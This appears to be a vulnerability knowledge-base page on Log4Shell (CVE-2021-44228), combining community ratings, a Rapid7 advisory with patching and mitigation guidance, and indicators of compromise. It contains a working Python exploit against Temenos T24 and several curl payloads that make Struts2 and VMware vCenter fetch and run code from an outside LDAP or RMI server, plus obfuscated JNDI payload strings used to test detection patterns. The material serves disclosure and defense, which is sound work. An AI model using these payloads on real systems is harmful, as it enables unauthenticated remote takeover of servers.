Attacker Value
Very High
(5 users assessed)
Exploitability
Very High
(5 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
48

CVE-2021-44228 (Log4Shell)

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Discovery
Techniques
Validation
Validated
Execution
Techniques
Validation
Validated
Validated
Exfiltration
Techniques
Validation
Validated

Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Add Assessment

4
Ratings
Technical Analysis

The vulnerabilities exists in Temenos T24, widely used in core-banking,
There’re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it’s accessible without any authentication:

package com.temenos.t24browser.servlets;

public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
       FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
        //truncated
        if (paramName.equalsIgnoreCase("uploadType")) {
             innerObj.setUploadType(paramValue);
             innerObj.setUploadTypeInfoFromT24(); <=
//truncated

The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():

private void setUploadTypeInfoFromT24() {
            try {
                String responseXml = FileUploadServlet.this.sendUtilityRequest("OS.GET.UPLOAD.TYPE.INFO", this.uploadType, this.request);
                String uploadTypeInfo = Utils.getNodeFromString(responseXml, "uploadTypeInfo");
                if (FileUploadServlet.LOGGER.isDebugEnabled()) {
                    FileUploadServlet.LOGGER.debug("File upload: uploadTypeInfo=" + uploadTypeInfo);
                }

                if (!uploadTypeInfo.contains("<maxFileSize>")) {
                    throw new IllegalArgumentException("EB-FILE.UPLOAD.TYPE.NOT.FOUND|" + this.uploadType + "|"); <=
                }
}

As you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:

import requests
import base64
import sys


target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print("Attacking " + target)
print("Cmd: "+ sys.argv[2])
ldap_url = "ldap://<server>:2389/Deserialization/ROME/command/base64/"+cmd


burp0_url = target + "/BrowserWeb/servlet/BrowserServlet"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": target + "/BrowserWeb/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get('JSESSIONID')

burp0_url = target + "/BrowserWeb/servlet/FileUploadServlet"
burp0_cookies = {"JSESSIONID": token}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarygrfK28lThpyA12GG", "User-Agent": "Mozilla/5.0", "Connection": "close"}
burp0_data = "------WebKitFormBoundarygrfK28lThpyA12GG\r\nContent-Disposition: form-data; name=\"uploadType\"\r\n\r\n${jndi:"+ldap_url+"}\r\n\r\n------WebKitFormBoundarygrfK28lThpyA12GG--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

New zero-day, aka Log4Shell or LogJam, is an unauthenticated remote code execution issue enabling full system compromise. CVE-2021-44228 analysis shows that all systems running Log4j 2.0-beta9 through 2.14.1 are vulnerable. Moreover, since the security issue impacts the default configs for most of Apache frameworks, such as Apache Struts2, Apache Solr, Apache Druid, Apache Flink, a wide range of software and web apps used by both enterprises and individual users are exposed to the attacks.

2
Ratings
Technical Analysis

Software

More

CVE

Protect yourself, before you break yourself… ;)

Description:

Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Usage and explanation:

  • Demonstration of scanning for Log4j vulnerability

    • NOTE: For advanced users!
  • Manual installing the extension for BurpSuite

IMPORTANT:

  • Check in to BApp Store if all components are deployed!


>>> from log4shell_regexes import *

>>> t = lambda s: [k for k in test(s)]
>>> tt = lambda s: [(k, list(v.keys())) for k, v in test_thorough(s).items()]

>>> t('${ jndi\t: addr\n}')
['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${ jndi\t: addr\n')
['SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('\044%7B\\44{env:NOTHING:-j}\u0024{lower:N}\\u0024{lower:${upper:d}}}i:addr}')
['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${base64:d2hvIHRob3VnaHQgYW55IG9mIHRoaXMgd2FzIGEgZ29vZCBpZGVhPwo=}')
['ANY_RE', 'ANY_INCL_ESCS_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('%24%7Bjnd%24%7Bupper%3A%C4%B1%7D%3Aaddr%7D')
['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('$%7B\u006a\\156di:addr\\x7d')
['ANY_INCL_ESCS_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${jndi:${lower:l}${lower:d}a${lower:p}://$a{upper:d}dr}')
['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${jndi:dns://addr}')
['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${${base64:am5kaTpsZGFwOi8vYWRkcgo=}}') # LOG4J2-2446
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${jndi:${lower:l}${lower:d}a${lower:p}://addr')
['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${${::-j}nd${upper:ı}:rm${upper:ı}://addr}')
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//addr}')
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']

>>> t('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D')
[]

>>> tt('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D')
[
	(
		'\\u002524%7Bjnd%24%7Bupper%5Cu003a%5C%5C461%7D%3Aldap%3A\\0452F%2Faddr%7D',
		['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	), (
		'${jnd${upper\\u003a\\\\461}:ldap://addr}',
		['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	), (
		'${jnd${upper:\\461}:ldap://addr}',
		['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	), (
		'${jnd${upper:ı}:ldap://addr}',
		['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
	)
]

Docker vulnerable app:

cd vuln_app/CVE-2021-44228-VULN-APP/
docker build -t log4j-shell-poc .
docker run --network host log4j-shell-poc
  • Listening on port 8080

Support for vulnerable machine APP by

  • kozmer

Support for Burp module by

  • silentsignal

Demo, testing, and debugging by

  • nu11secur1ty

Video and reproduce of the vulnerability

  • NOTE: The test is outside of the credentials for login! ;)

href


More

Information

Scanner

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Seemingly ubiquitous logging library—vulnerable implementations are going to be widespread. Multiple PoC exploits are publicly available, and broad opportunistic attacks already occurring, but I’d expect with all the different implementations, we’ll be seeing new attack vectors for weeks or months to come. Update all your dependencies ASAP, and/or take systems and services with known-vulnerable implementations offline right away. Exploitation sure to increase even further. https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/

General Information

Vendors

  • Apache Software Foundation

Products

  • Apache Log4j2

Exploited in the Wild

Reported by:

References

Advisory
Miscellaneous

Additional Info

Technical Analysis

Description

Information and exploitation of this vulnerability are evolving quickly. We will update this analysis with further information as it becomes available. Individual product analyses will be appended to the end of this entry.

On December 10, 2021, Apache released version 2.15.0 of their Log4j framework which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.

CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.

A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.

Affected

According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.

Apache Struts 2 also appears to be trivially vulnerable to CVE-2021-44228. See the section on Struts 2 below for details.

Analysis

Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat with a recent Java version. This is demonstrated below.

root@c9b80b027e02:~# java -version
openjdk version "11.0.13" 2021-10-19
OpenJDK Runtime Environment 18.9 (build 11.0.13+8)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.13+8, mixed mode, sharing)
root@c9b80b027e02:~#

Executing the PoC

Thanks to @jbaines-r7 for the following PoC!

wvu@kharak:~$ curl -vso /dev/null http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0.0.1:1099/ylbtsl}'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> POST /struts2-showcase/token/transfer4.action HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 53
> Content-Type: application/x-www-form-urlencoded
>
} [53 bytes data]
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONID=3BFF4CC3CF62065B2BA6547052EFB619; Path=/struts2-showcase; HttpOnly
< Content-Type: text/html;charset=ISO-8859-1
< Content-Language: en
< Transfer-Encoding: chunked
< Date: Fri, 10 Dec 2021 22:21:39 GMT
<
{ [16145 bytes data]
* Connection #0 to host 127.0.0.1 left intact
wvu@kharak:~$

Catching the RMI callback

javax.el.ELProcessor (via org.apache.naming.factory.BeanFactory) is used here. (RMI server output trimmed.)

2021-12-10 22:21:39 [RMISERVER]  >> Have connection from /127.0.0.1:33474
2021-12-10 22:21:39 [RMISERVER]  >> Reading message...
2021-12-10 22:21:39 [RMISERVER]  >> Is RMI.lookup call for ylbtsl 2
2021-12-10 22:21:39 [RMISERVER]  >> Sending local classloading reference.
2021-12-10 22:21:39 [RMISERVER]  >> Closing connection

Proving RCE with touch /tmp/vulnerable

Command is executed as the user running Tomcat.

root@c9b80b027e02:~# ls -l /tmp/vulnerable
-rw-r----- 1 root root 0 Dec 10 22:21 /tmp/vulnerable
root@c9b80b027e02:~#

Log artifacts

Access log and console log, respectively.

172.17.0.1 - - [10/Dec/2021:22:21:39 +0000] "POST /struts2-showcase/token/transfer4.action HTTP/1.1" 200 17976
Warning: Nashorn engine is planned to be removed from a future JDK release
2021-12-10 22:21:39,103 WARN  [http-nio-8080-exec-7] util.TokenHelper (TokenHelper.java:134) - Could not find token mapped to token name: javax.el.ELProcessor@664bb022

Guidance

Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.

According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.

According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.

Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.

EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.

Resources


Apache Struts 2 Vulnerable to CVE-2021-44228

We believe Rapid7 discovered this exploit vector.

Severity

Basically all Struts implementations should be trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js

Indicator of Compromise

This log entry is from the catalina.out file:

2021-12-11 17:58:45,991 WARN  [http-nio-8080-exec-2] dispatcher.DefaultStaticContentLoader (DefaultStaticContentLoader.java:241) - Invalid If-Modified-Since header value: '${jndi:ldap://localhost:80/abc}', ignoring

Write-up

The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the struts2 class DefaultStaticContentLoader.

The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228. Specifically it has this chunk of code:

protected void process(InputStream is, String path, HttpServletRequest request, HttpServletResponse response) throws IOException {
  if (is != null) {
      Calendar cal = Calendar.getInstance();

      // check for if-modified-since, prior to any other headers
      long ifModifiedSince = 0;
      try {
          ifModifiedSince = request.getDateHeader("If-Modified-Since");
      } catch (Exception e) {
          LOG.warn("Invalid If-Modified-Since header value: '{}', ignoring", request.getHeader("If-Modified-Since"));
      }

Or here if you prefer.

You can see it checks if the date is valid and warns when it is not. So, to exploit this we need only request a static item with an evil If-Modified-Since header. Here is an example that works against struts2-showcase.

curl -vv -H "If-Modified-Since: \${jndi:ldap://localhost:80/abc}" http://localhost:8080/struts2-showcase/struts/utils.js

The simple example above generates a log message like:

2021-12-11 17:58:45,991 WARN  [http-nio-8080-exec-2] dispatcher.DefaultStaticContentLoader (DefaultStaticContentLoader.java:241) - Invalid If-Modified-Since header value: '${jndi:ldap://localhost:80/abc}', ignoring

Struts 2, by default, has a few static items:

  • tooltip.gif
  • domtt.css
  • utils.js
  • domTT.js
  • inputtransfersselect.js
  • optiontransferselect.js

Given the default static content, basically all Struts implementations should be trivially vulnerable.


Apache Struts2 Vulnerable to CVE-2021-44228 (Second Variant)

We originally saw a variant of this exploit posted on YouTube by Nguyen Jang. Unfortunately, we aren’t sure if this is the original exploit developer or not.

Severity

Basically all Struts implementations should be trivially exploitable by a remote and unauthenticated attacker using this method too!

Proof of Concept Exploit

curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

Indicator of Compromise

2021-12-13 10:26:47,908 WARN  [http-nio-8080-exec-7] mapper.DefaultActionMapper (DefaultActionMapper.java:419) - /${jndi:ldap:${::-/}/10.0.0.6:1270/abc} did not match allowed namespace names [a-zA-Z0-9._/\-]* - default namespace / will be used!

Write-up

This vulnerability resides in the DefaultActionMapper.java.

protected String cleanupNamespaceName(final String rawNamespace) {
  if (allowedNamespaceNames.matcher(rawNamespace).matches()) {
      return rawNamespace;
  } else {
      LOG.warn(
          "{} did not match allowed namespace names {} - default namespace {} will be used!",
          rawNamespace, allowedNamespaceNames, defaultNamespaceName
      );
      return defaultNamespaceName;
  }
}

This class is attempting to parse the provided URI to determine the namespace the called for action is in. This is almost straight forward except that Tomcat combines “//” into “/” under the hood. So the following:

curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap://10.0.0.6:1270/abc%7D/

Ends up looking like this in the log:

2021-12-13 10:35:04,484 WARN  [http-nio-8080-exec-4] mapper.DefaultActionMapper (DefaultActionMapper.java:419) - /${jndi:ldap:/10.0.0.6:1270/abc} did not match allowed namespace names [a-zA-Z0-9._/\-]* - default namespace / will be used!

However, using one the logs4j “bypasses” we can get around the limitation of not being allowed consecutive / characters. Simply replace the first character with ${::–/} and the attack works… after some URL encoding.

Again, in its final form.

curl -vv http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/

VMWare VCenter Vulnerable to CVE-2021-44228 (websso variant)

A version of this exploit was originally posted on Twitter by @w3bd3vil.

Severity

Basically all VCenter instances should be trivially exploitable by a remote and unauthenticated attacker.

Proof of Concept Exploit

curl --insecure  -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="

Indicator of Compromise

This log entry is from /var/log/vmware/sso/websso.log file:

[2021-12-13T16:31:34.000Z tomcat-http--15 photon-machine.lan   fcf6634c-4722-4b22-9c46-d78a86f0b388 INFO  auditlogger] {"user":"n/a","client":"${jndi:ldap://10.0.0.3:1270/lol}, 10.0.0.3","timestamp":"12/13/2021 16:31:33 UTC","description":"User n/a@${jndi:ldap://10.0.0.3:1270/lol}, 10.0.0.3 failed to log in: org.opensaml.messaging.decoder.MessageDecodingException: No SAMLRequest or SAMLResponse query path parameter, invalid SAML 2 HTTP Redirect message","eventSeverity":"INFO","type":"com.vmware.sso.LoginFailure"}

Write-up

VMWare VCenter’s log-in page (/websso/SAML2/SSO/<hostname>), requires the user to provide a SAMLRequest parameter. When the SAMLRequest parameter is empty (or there is an issue parsing it) the system logs an error to /var/log/vmware/sso.log. VCenter will use the value in the HTTP X-Forwarded-For field as the “client” in the log message. Inserting a log4j payload into that header and making a request to the VCenter log in page result in exploitation.

curl --insecure  -vv -H "X-Forwarded-For: \${jndi:ldap://10.0.0.3:1270/lol}" "https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest="

The only “challenge” for an attacker is deriving the hostname (photon-machine.lan in the above example). Of course, the value is auto-populated for the attacker simply by sending a GET request to https://10.0.0.4/ui/Login.

albinolobster@ubuntu:~/metasploit-framework$ curl --insecure -vv https://10.0.0.4/ui/login
*   Trying 10.0.0.4:443...
* Connected to 10.0.0.4 (10.0.0.4) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=10.0.0.4; C=US
*  start date: Dec 13 16:01:30 2021 GMT
*  expire date: Dec 14 04:01:30 2023 GMT
*  issuer: CN=CA; DC=photon-machine; DC=lan; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> GET /ui/login HTTP/1.1
> Host: 10.0.0.4
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 
< Strict-Transport-Security: max-age=30758400;includeSubDomains
< X-XSS-Protection: 1; mode=block
< Set-Cookie: VSPHERE-UI-JSESSIONID=DAA6014138AE2581C91000A5AF07B77F; Path=/ui; Secure; HttpOnly
< X-Frame-Options: deny
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Cache-Control: no-store
< Pragma: no-cache
< Location: https://10.0.0.4/websso/SAML2/SSO/photon-machine.lan?SAMLRequest=zVRLj9owEL73V0S%2BJ86DAmsBK7p0VaR90E1aVb1UTjKApcROPQ5h%2F33tAC3ablccq9ysmW%2B%2BlzK53teVtwONQskpiYKQeCALVQq5mZIv2a0%2FJtezdxPkddWweWu28gl%2BtoDGmyOCNnbtRklsa9Ap6J0oYClL2E%2BJBVrYMSG56aG3xjTIKI3CwH0D2kGOqGg6v7%2BLaZo%2B0marjJJ%2BzYutkBBUXBLvVukC%2BrNTsuYVAvGWiyn5MSzGYTmAPErKMEreDyMeX40SfjUu8vE4L9wYrjii2MGfRcTWskPDpZmSOIwjP4r9KMmiEQsHLEyCYTL6TryVtjwKVX0Q8mBDqyVTHAUyyWtAZgrmWLM4CFl%2BGEL2KctW%2FuoxzXqAnShBP9hp6%2BlRMBsMEuJ9PVkdO6ut%2BRJZb%2B7bZ5ojJzI7RtGL0ZcD8FNaZPZXEq2gDuGUSA2Gl9zwCT0%2FdTgcN8ypWi5WqhLFszevKtXdaODGKjW6hT6ympu32bgXUfrrfpQ1zhM0IA3x0pXD%2F9zySqwF6Fd68w%2B252bGl7pJj6qY7XApnD14DnOxpS9RjiA7u3JQYAXs6o5rCApVUyy2UHOk3Bjt98A0DqOYhgP6cW99cA3Bk6A9it8YXdcFXRIovbELYUS%2F3d%2BlPZYv%2Bl674tt5Zp4bm4c7z55AQsfzCjL79org%2F4jqAirYnFOlL8OZnTp5%2Fiea%2FQI%3D&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=E18tnqbleRdUtNttm0nQlQrC5nQjpePeabX9HKhhCp071Xxv%2FJS4erPM%2BId6gDvRP1bdqgqMfVHKyfzVWGZhLj28X7645y%2BxEFLNKaKk6TtFvSk7YWUpeLeev0fvWrqLbhu%2Fal32Wf3u9%2B1PKNAfA8tve4NBezJiLnnm4n%2FaFhn%2FaL4GHOaeEXnP0dEktfh%2FgmqBeRyv0UDEJuBTU5l1dhn43jSU4O7O8WzMidRPf1ckG5f3ug91B6PkLVdpfXcIcKTtNZJtefpAAoRgJUMGjerzqMgqr4AT%2BXPJ7pkIOxfYTIZe3W2Tloio82xEitKDklTtzoDEFzFvMCiYQdCDqw%3D%3D
< Content-Length: 0
< Date: Mon, 13 Dec 2021 17:04:03 GMT
< Server: Anonymous
< 

So, it’s trivial to find the vulnerable endpoint and exploit it.


VMWare VCenter Vulnerable to CVE-2021-44228 (Analytics Variant)

Severity

VMWare VCenter is trivially exploitable by a remote and unauthenticated attacker using the analytics API.

Proof of Concept Exploit

curl -vv --insecure -X POST "https://10.0.0.4/analytics/telemetry/ph/api/hyper/send?_c=\$%7Bjndi:ldap://10.0.0.3:1270/l%7D&i=test"

Indicator of Compromise

The initial exploit triggers the payload to be logged in /var/log/vmware/analytics/analytics.log.

2021-12-21T15:14:27.726Z pool-9-thread-1  WARN  ph.phservice.push.telemetry.DefaultTelemetryLevelService Failed to discover telemetry level via the manifest for collector: ${jndi:ldap://10.0.0.3:1270/l}.  Enable 'debug' level logging to see the stack trace.

Every exploit after that will trigger execution of the payload, but will not be logged in analytics.log. The only logs those messages will generate are errors generated by the callback. For instance, when the LDAP connection timed out in our test setup the following log was added to /var/log/vmware/analytics/analytics-runtime.log.stdout.

021-12-21 14:55:40,536 pool-9-thread-4 WARN Error looking up JNDI resource [ldap://10.0.0.3:1270/l]. javax.naming.NamingException: LDAP response read timed out, timeout used:-1ms.
	at com.sun.jndi.ldap.Connection.readReply(Connection.java:479)
	at com.sun.jndi.ldap.LdapClient.ldapBind(LdapClient.java:365)
	at com.sun.jndi.ldap.LdapClient.authenticate(LdapClient.java:192)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2791)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
	at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)

Write Up

We found this endpoint while analyzing a payload found in Rapid7’s Heisenberg data. The payload we were analyzing was this one:

